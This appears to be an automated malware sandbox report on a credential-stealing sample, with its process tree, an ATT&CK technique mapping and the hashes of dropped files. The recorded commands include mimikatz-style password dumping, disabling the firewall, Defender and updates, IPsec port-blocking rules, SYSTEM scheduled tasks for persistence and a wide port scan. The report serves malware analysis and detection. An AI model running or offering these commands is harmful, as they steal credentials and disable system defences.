PID 3652 wrote to memory of 2544	3652	naustif.exe	netsh.exe
PID 3652 wrote to memory of 2544	3652	naustif.exe	netsh.exe
PID 3652 wrote to memory of 2544	3652	naustif.exe	netsh.exe
PID 3652 wrote to memory of 1516	3652	naustif.exe	netsh.exe
PID 3652 wrote to memory of 1516	3652	naustif.exe	netsh.exe
PID 3652 wrote to memory of 1516	3652	naustif.exe	netsh.exe
PID 3652 wrote to memory of 4176	3652	naustif.exe	cmd.exe
PID 3652 wrote to memory of 4176	3652	naustif.exe	cmd.exe
PID 3652 wrote to memory of 4176	3652	naustif.exe	cmd.exe
PID 4176 wrote to memory of 4920	4176	cmd.exe	wpcap.exe
PID 4176 wrote to memory of 4920	4176	cmd.exe	wpcap.exe
PID 4176 wrote to memory of 4920	4176	cmd.exe	wpcap.exe
PID 4920 wrote to memory of 3588	4920	wpcap.exe	net.exe
PID 4920 wrote to memory of 3588	4920	wpcap.exe	net.exe
PID 4920 wrote to memory of 3588	4920	wpcap.exe	net.exe
PID 3588 wrote to memory of 2976	3588	net.exe	net1.exe
PID 3588 wrote to memory of 2976	3588	net.exe	net1.exe
PID 3588 wrote to memory of 2976	3588	net.exe	net1.exe
PID 4920 wrote to memory of 1612	4920	wpcap.exe	net.exe
PID 4920 wrote to memory of 1612	4920	wpcap.exe	net.exe
PID 4920 wrote to memory of 1612	4920	wpcap.exe	net.exe
PID 1612 wrote to memory of 772	1612	net.exe	net1.exe
PID 1612 wrote to memory of 772	1612	net.exe	net1.exe
PID 1612 wrote to memory of 772	1612	net.exe	net1.exe
PID 4920 wrote to memory of 2604	4920	wpcap.exe	net.exe
PID 4920 wrote to memory of 2604	4920	wpcap.exe	net.exe
PID 4920 wrote to memory of 2604	4920	wpcap.exe	net.exe
PID 2604 wrote to memory of 3872	2604	net.exe	net1.exe
PID 2604 wrote to memory of 3872	2604	net.exe	net1.exe
PID 2604 wrote to memory of 3872	2604	net.exe	net1.exe
PID 4920 wrote to memory of 2908	4920	wpcap.exe	net.exe

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1896

C:\Windows\TEMP\vzignttnc\ybtnut.exe
"C:\Windows\TEMP\vzignttnc\ybtnut.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2452

C:\Users\Admin\AppData\Local\Temp\2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4956

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\rkilesrw\naustif.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1356

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
3⤵
- Runs ping.exe
PID:4844

C:\Windows\rkilesrw\naustif.exe
C:\Windows\rkilesrw\naustif.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4160

C:\Windows\rkilesrw\naustif.exe
C:\Windows\rkilesrw\naustif.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3652

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
2⤵
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:4984

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\drivers\etc\hosts /T /D users
3⤵
PID:2284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:1588

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
3⤵
PID:4404

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:4276

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
3⤵
PID:5088

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static del all
2⤵
PID:3056

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add policy name=Bastards description=FuckingBastards
2⤵
PID:2544

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filteraction name=BastardsList action=block
2⤵
PID:1516

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Windows\tteyulnen\igasksjja\wpcap.exe /S
2⤵
- Suspicious use of WriteProcessMemory
PID:4176

C:\Windows\tteyulnen\igasksjja\wpcap.exe
C:\Windows\tteyulnen\igasksjja\wpcap.exe /S
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4920

C:\Windows\SysWOW64\net.exe
net stop "Boundary Meter"
4⤵
- Suspicious use of WriteProcessMemory
PID:3588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Boundary Meter"
5⤵
PID:2976

C:\Windows\SysWOW64\net.exe
net stop "TrueSight Meter"
4⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "TrueSight Meter"
5⤵
PID:772

C:\Windows\SysWOW64\net.exe
net stop npf
4⤵
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop npf
5⤵
PID:3872

C:\Windows\SysWOW64\net.exe
net start npf
4⤵
PID:2908

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start npf
5⤵
PID:3976

C:\Windows\SysWOW64\cmd.exe
cmd /c net start npf
2⤵
PID:2316

C:\Windows\SysWOW64\net.exe
net start npf
3⤵
PID:2428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start npf
4⤵
PID:1516

C:\Windows\SysWOW64\cmd.exe
cmd /c net start npf
2⤵
PID:1508

C:\Windows\SysWOW64\net.exe
net start npf
3⤵
PID:916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start npf
4⤵
PID:4444

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Windows\tteyulnen\igasksjja\eblttilyr.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\tteyulnen\igasksjja\Scant.txt
2⤵
PID:1420

C:\Windows\tteyulnen\igasksjja\eblttilyr.exe
C:\Windows\tteyulnen\igasksjja\eblttilyr.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\tteyulnen\igasksjja\Scant.txt
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1248

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Windows\tteyulnen\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\tteyulnen\Corporate\log.txt
2⤵
- Drops file in Windows directory
PID:2916

C:\Windows\tteyulnen\Corporate\vfshost.exe
C:\Windows\tteyulnen\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tfintytmv" /ru system /tr "cmd /c C:\Windows\ime\naustif.exe"
2⤵
PID:4056

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:4080

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "tfintytmv" /ru system /tr "cmd /c C:\Windows\ime\naustif.exe"
3⤵
- Creates scheduled task(s)
PID:1164

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "anlmrcstj" /ru system /tr "cmd /c echo Y|cacls C:\Windows\rkilesrw\naustif.exe /p everyone:F"
2⤵
PID:3584

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:3064

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "anlmrcstj" /ru system /tr "cmd /c echo Y|cacls C:\Windows\rkilesrw\naustif.exe /p everyone:F"
3⤵
- Creates scheduled task(s)
PID:4672

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "iazatujnv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\vzignttnc\ybtnut.exe /p everyone:F"
2⤵
PID:3552

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:3884

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "iazatujnv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\vzignttnc\ybtnut.exe /p everyone:F"
3⤵
- Creates scheduled task(s)
PID:2368

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
2⤵
PID:2208

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
2⤵
PID:4752

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
2⤵
PID:1828

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=Bastards assign=y
2⤵
PID:4244

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
2⤵
PID:1356

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
2⤵
PID:376

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
2⤵
PID:4500

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=Bastards assign=y
2⤵
PID:1248

C:\Windows\TEMP\tteyulnen\skyttnyln.exe
C:\Windows\TEMP\tteyulnen\skyttnyln.exe -accepteula -mp 800 C:\Windows\TEMP\tteyulnen\800.dmp
2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1940

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
2⤵
PID:2124

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
2⤵
PID:3452

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
2⤵
PID:2604

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=Bastards assign=y
2⤵
PID:4388

C:\Windows\SysWOW64\cmd.exe
cmd /c net stop SharedAccess
2⤵
PID:3620

C:\Windows\SysWOW64\net.exe
net stop SharedAccess
3⤵
PID:4172

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SharedAccess
4⤵
PID:3012

C:\Windows\SysWOW64\cmd.exe
cmd /c netsh firewall set opmode mode=disable
2⤵
PID:1084

C:\Windows\SysWOW64\netsh.exe
netsh firewall set opmode mode=disable
3⤵
- Modifies Windows Firewall
PID:2380

C:\Windows\SysWOW64\cmd.exe
cmd /c netsh Advfirewall set allprofiles state off
2⤵
PID:2240

C:\Windows\SysWOW64\netsh.exe
netsh Advfirewall set allprofiles state off
3⤵
- Modifies Windows Firewall
PID:4336

C:\Windows\SysWOW64\cmd.exe
cmd /c net stop MpsSvc
2⤵
PID:4076

C:\Windows\SysWOW64\net.exe
net stop MpsSvc
3⤵
PID:3520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MpsSvc
4⤵
PID:952

C:\Windows\SysWOW64\cmd.exe
cmd /c net stop WinDefend
2⤵
PID:1860

C:\Windows\SysWOW64\net.exe
net stop WinDefend
3⤵
PID:1880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WinDefend
4⤵
PID:3828

C:\Windows\SysWOW64\cmd.exe
cmd /c net stop wuauserv
2⤵
PID:4344

C:\Windows\SysWOW64\net.exe
net stop wuauserv
3⤵
PID:3296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wuauserv
4⤵
PID:4752

C:\Windows\SysWOW64\cmd.exe
cmd /c sc config MpsSvc start= disabled
2⤵
PID:3772

C:\Windows\SysWOW64\sc.exe
sc config MpsSvc start= disabled
3⤵
- Launches sc.exe
PID:4884

C:\Windows\SysWOW64\cmd.exe
cmd /c sc config SharedAccess start= disabled
2⤵
PID:4896

C:\Windows\SysWOW64\sc.exe
sc config SharedAccess start= disabled
3⤵
- Launches sc.exe
PID:5032

C:\Windows\SysWOW64\cmd.exe
cmd /c sc config WinDefend start= disabled
2⤵
PID:4976

C:\Windows\SysWOW64\sc.exe
sc config WinDefend start= disabled
3⤵
- Launches sc.exe
PID:3468

C:\Windows\SysWOW64\cmd.exe
cmd /c sc config wuauserv start= disabled
2⤵
PID:2144

C:\Windows\SysWOW64\sc.exe
sc config wuauserv start= disabled
3⤵
- Launches sc.exe
PID:1136

C:\Windows\TEMP\xohudmc.exe
C:\Windows\TEMP\xohudmc.exe
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2456

C:\Windows\TEMP\tteyulnen\skyttnyln.exe
C:\Windows\TEMP\tteyulnen\skyttnyln.exe -accepteula -mp 336 C:\Windows\TEMP\tteyulnen\336.dmp
2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\TEMP\tteyulnen\skyttnyln.exe
C:\Windows\TEMP\tteyulnen\skyttnyln.exe -accepteula -mp 1896 C:\Windows\TEMP\tteyulnen\1896.dmp
2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2232 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:8
1⤵
PID:4184

C:\Windows\SysWOW64\gykgye.exe
C:\Windows\SysWOW64\gykgye.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2916

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Windows\SysWOW64\Packet.dll
Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll
Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\tteyulnen\336.dmp
Filesize
33.5MB

MD5
bd9b419fbc20402d617d3a96a3029192

SHA1
d46cdcef593f3f3aeaddd2ffdfad0d80b3605af3

SHA256
08bcce95291b1bfcf4cf544a6393ea6df860d6edf49c2cf8ea52d3cd1eb72c7a

SHA512
b2634efa03fa63e5b82e4cf61b0d630f41f534110b0b6120c6a76d03b765b86face4eb0119e19f758bb50255e484e40dd382087ca96f9dfb9bc930f4a2dfe5d2

Download Submit
C:\Windows\TEMP\tteyulnen\800.dmp
Filesize
1.9MB

MD5
6d57de86e93c09a4eda2d6ff845aa9d5

SHA1
0aa1343abbcd1a3b3dbab5ab31c811b07b2a17c3

SHA256
15890003c49def17a4ddc70160802bda0a450b1ccceab51d0e54da37de4dc06f

SHA512
fdd1f017610aec287458c26adf94bf60c50b97d8072d2a2ac9d5185bc44c22e70f5e5bd83cea3f2e331ee3be8551db67d3ea3d3ce1f8efe1549653a1b0d0e931

Download Submit
C:\Windows\TEMP\vzignttnc\config.json
Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\nsy7150.tmp\System.dll
Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsy7150.tmp\nsExec.dll
Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\tteyulnen\skyttnyln.exe
Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\vzignttnc\ybtnut.exe
Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\xohudmc.exe
Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\rkilesrw\naustif.exe
Filesize
10.0MB

MD5
44d946bbdc5ecad797b086aa25a3cc44

SHA1
517f46ee376496b3fbb7ca2c3f05b77e88f82875

SHA256
12591d67f592e7af13f099f355eabb58535970d6cfedeb02b1c44e4fd954fe30

SHA512
899ca8c44cb7edc7760225f1ecc06c7caa0ea505e60fa5427a767d7c0ad279ca97f6f28b40573153b4c7c552bb65cef0b4c2977dd1a38ae42c13fc90c30003a7

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\tteyulnen\Corporate\vfshost.exe
Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\tteyulnen\igasksjja\eblttilyr.exe
Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\tteyulnen\igasksjja\wpcap.exe
Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/1248-77-0x0000000000E50000-0x0000000000E9C000-memory.dmp

Filesize
304KB

Download
memory/1648-175-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp

Filesize
364KB

Download
memory/1648-171-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp

Filesize
364KB

Download
memory/1940-144-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp

Filesize
364KB

Download
memory/1940-153-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp

Filesize
364KB

Download
memory/2452-170-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp

Filesize
1.1MB

Download
memory/2452-172-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp

Filesize
1.1MB

Download
memory/2452-148-0x000001FBA8BF0000-0x000001FBA8BF4000-memory.dmp

Filesize
16KB

Download
memory/2452-149-0x000001FBA89D0000-0x000001FBA89D4000-memory.dmp

Filesize
16KB

Download
memory/2452-147-0x000001FBA87B0000-0x000001FBA87C0000-memory.dmp

Filesize
64KB

Download
memory/2452-150-0x000001FBA9040000-0x000001FBA9044000-memory.dmp

Filesize
16KB

Download
memory/2452-151-0x000001FBA8E20000-0x000001FBA8E24000-memory.dmp

Filesize
16KB

Download
memory/2452-173-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp

Filesize
1.1MB

Download
memory/2452-140-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp

Filesize
1.1MB

Download
memory/2452-177-0x000001FBA8BF0000-0x000001FBA8BF4000-memory.dmp

Filesize
16KB

Download
memory/2456-160-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/4160-7-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/4948-136-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp

Filesize
952KB

Download
memory/4948-135-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp

Filesize
952KB

Download
memory/4956-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download